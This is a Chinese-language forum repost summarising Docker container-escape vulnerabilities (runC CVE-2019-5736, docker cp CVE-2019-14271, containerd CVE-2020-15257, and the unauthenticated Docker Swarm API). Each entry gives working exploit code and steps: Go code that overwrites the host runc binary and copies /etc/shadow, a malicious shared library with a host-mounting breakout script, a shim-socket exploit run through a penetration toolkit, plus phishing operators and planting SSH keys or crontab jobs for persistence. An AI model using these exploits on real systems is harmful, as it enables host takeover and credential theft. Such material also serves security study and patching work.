社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  docker

干货 | 常见的Docker容器漏洞总结

黑白之道 • 2 年前 • 266 次点击  

文章作者 小九

文章来源:war9.cn

Docker-RunC漏洞致容器逃逸(CVE-2019-5736)

利用条件

  • Docker Version < 18.09.2

  • RunC Version <1.0-rc6

  • 攻击者具有容器文件上传权限 & 管理员使用exec访问容器 || 攻击者具有启动容器权限

漏洞原理

攻击者可以将容器中的目标文件替换成指向runC的自己的文件来欺骗runC执行自己。比如目标文件是,将它替换成指定解释器路径为的可执行脚本,在容器中执行时将执行,它指向host上的runC文件。然后攻击者可以继续写入试图覆盖host上的runC文件。但是一般来说不会成功,因为内核不允许在执行runC时覆盖它。为了解决这个问题,攻击者可以使用O_PATH标志打开的文件描述符,然后通过使用O_WRONLY标志重新打开文件,并尝试在一个循环中从一个单独的进程写入该文件。当runC退出时覆盖会成功,在此之后,runC可以用来攻击其它容器或host。

漏洞POC

package main
// Implementation of CVE-2019-5736 // Created with help from @singe, @_cablethief, and @feexd.// This commit also helped a ton to understand the vuln// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9dimport ( "fmt" "io/ioutil" "os" "strconv" "strings")
// This is the line of shell commands that will execute on the hostvar payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
func main() { // First we overwrite /bin/sh with the /proc/self/exe interpreter path fd, err := os.Create("/bin/sh") if err != nil { fmt.Println(err) return } fmt.Fprintln(fd, "#!/proc/self/exe") err = fd.Close() if err != nil { fmt.Println(err) return } fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit // This will be the process created by runc var found int for found == 0 { pids, err := ioutil.ReadDir("/proc") if err != nil { fmt.Println(err) return } for _, f := range pids { fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") fstring := string(fbytes) if strings.Contains(fstring, "runc") { fmt.Println("[+] Found the PID:", f.Name()) found, err = strconv.Atoi(f.Name()) if err != nil { fmt.Println(err) return } } } }
// We will use the pid to get a file handle for runc on the host. var handleFd = -1 for handleFd == -1 { // Note, you do not need to use the O_PATH flag for the exploit to work. handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777) if int(handle.Fd()) > 0 { handleFd = int(handle.Fd()) } } fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it // It will maintain it's executable flag for { writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700) if int(writeHandle.Fd()) > 0 { fmt.Println("[+] Successfully got write handle", writeHandle) writeHandle.Write([]byte(payload)) return } }}

漏洞利用

#攻击者在容器内执行CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go #编译POCchmod 777 main./main #执行Payload

后续可结合钓鱼邮件等手法,等待运维人员去通过exec访问容器的/bin/bash。使用如下命令:

sudo docker exec -it  cafa20cfb0f9 /bin/sh

ref:

https://github.com/Frichetten/CVE-2019-5736-PoC

https://www.anquanke.com/post/id/170762

Docker-cp漏洞致容器逃逸(CVE-CVE-2019-14271)

利用条件

  • Docker Version == 19.03 && <19.03.1

漏洞原理

Docker采用Golang编写,更具体一些,存在漏洞的Docker版本采用Go v1.11编译。在这个版本中,包含嵌入式C代码()的某些package会在运行时动态加载共享库。这些package包括都用到了这两个package,会在运行时动态加载一些库。正常情况下,程序库会从宿主机的文件系统中加载,然而由于到容器中,因此会从容器的文件系统中加载这些库。这意味着会加载并执行受容器控制的代码。

漏洞POC

恶意so:libnss_files.so by C

#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void){ char * argv_break[2]; if (!is_priviliged()) return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH); fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork()) {
// Child runs breakout argv_break[0] = strdup("/breakout"); argv_break[1] = NULL; execve("/breakout", argv_break, NULL); } else wait(NULL); // Wait for child
return; }bool is_priviliged(){ FILE * proc_file = fopen("/proc/self/exe", "r"); if (proc_file != NULL) { fclose(proc_file); return false; // can open so /proc exists, not privileged } return true; // we're running in the context of docker-tar}

breakout脚本

#!/bin/bash
umount /host_fs && rm -rf /host_fsmkdir /host_fs

mount -t proc none /proc # mount the host's procfs over /proccd /proc/1/root # chdir to host's rootmount --bind . /host_fs # mount host root at /host_fs echo "Hello from within the container!" > /host_fs/evil

漏洞利用

待完善,暂未复现,大致思路如下

1.编译libnss_files.c为libnss_files.so

2.修改breakout脚本,例如写ssh key 等

3.等待或通过钓鱼邮件等手段,使得运维人员执行

ref:

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

Docker-Containerd漏洞致容器逃逸(CVE-2020-15257)

利用条件

  • containerd < 1.4.3

  • containerd < 1.3.9

  • 使用hostnetwork网络模式启动容器 && 使用root用户(UID:0)启动容器

漏洞原理

使用hostnetwork网络模式中,容器和主机共享网络命名空间,因此在容器内可以访问host特定的socket文件(shim.sock)。可通过启动一个新的容器,该容器挂在host目录到容器的/host目录,即可实现对host完全的读写。

漏洞POC

package main
import ( "context" "errors" "io/ioutil" "log" "net" "regexp" "strings"
"github.com/containerd/ttrpc" "github.com/gogo/protobuf/types")
func exp(sock string) bool { sock = strings.Replace(sock, "@", "", -1) conn, err := net.Dial("unix", "\x00"+sock) if err != nil { log.Println(err) return false }
client := ttrpc.NewClient(conn) shimClient := NewShimClient(client) ctx := context.Background() info, err := shimClient.ShimInfo(ctx, &types.Empty{}) if err != nil { log.Println("rpc error:", err) return false }
log.Println("shim pid:", info.ShimPid) return true}
func getShimSockets() ([][]byte, error) { re, err := regexp.Compile("@/containerd-shim/.*\\.sock") if err != nil { return nil, err } data, err := ioutil.ReadFile("/proc/net/unix") matches := re.FindAll(data, -1) if matches == nil { return nil, errors.New("Cannot find vulnerable socket") } return matches, nil}
func main() { matchset := make(map[string]bool) socks, err := getShimSockets() if err != nil { log.Fatalln(err) } for _, b := range socks { sockname := string(b) if _, ok := matchset[sockname]; ok { continue } log.Println("try socket:", sockname) matchset[sockname] = true if exp(sockname) { break } }
return}

漏洞利用

1.下载容器渗透工具包

https://github.com/cdk-team/CDK/releases/tag/v1.0.1

2.在服务器NC监听端口

3.

chmod +x cdk_linux_amd64./cdk_linux_amd64 run shim-pwn  

ref:

https://www.cdxy.me/?p=837

https://zhuanlan.zhihu.com/p/332334413

Docker-Swarm未授权访问致命令执行

利用条件

  • 使用Docker Swarm并且未对2375端口访问加任何限制访问措施

漏洞原理

在使用Docker Swarm的时候,管理的Docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page not found ,其实这是 Docker Remote API,可以执行Docker命令,比如访问 http://host:2375/containers/json 会返回服务器当前运行的 container列表,和在Docker CLI上执行Docker ps的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成。

漏洞POC

docker -H tcp://x.x.x.x:2375 ps

漏洞利用

可通过挂载host目录,之后使用crontab或者写ssh key来利用。

侵权请私聊公众号删文


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/128820
 
266 次点击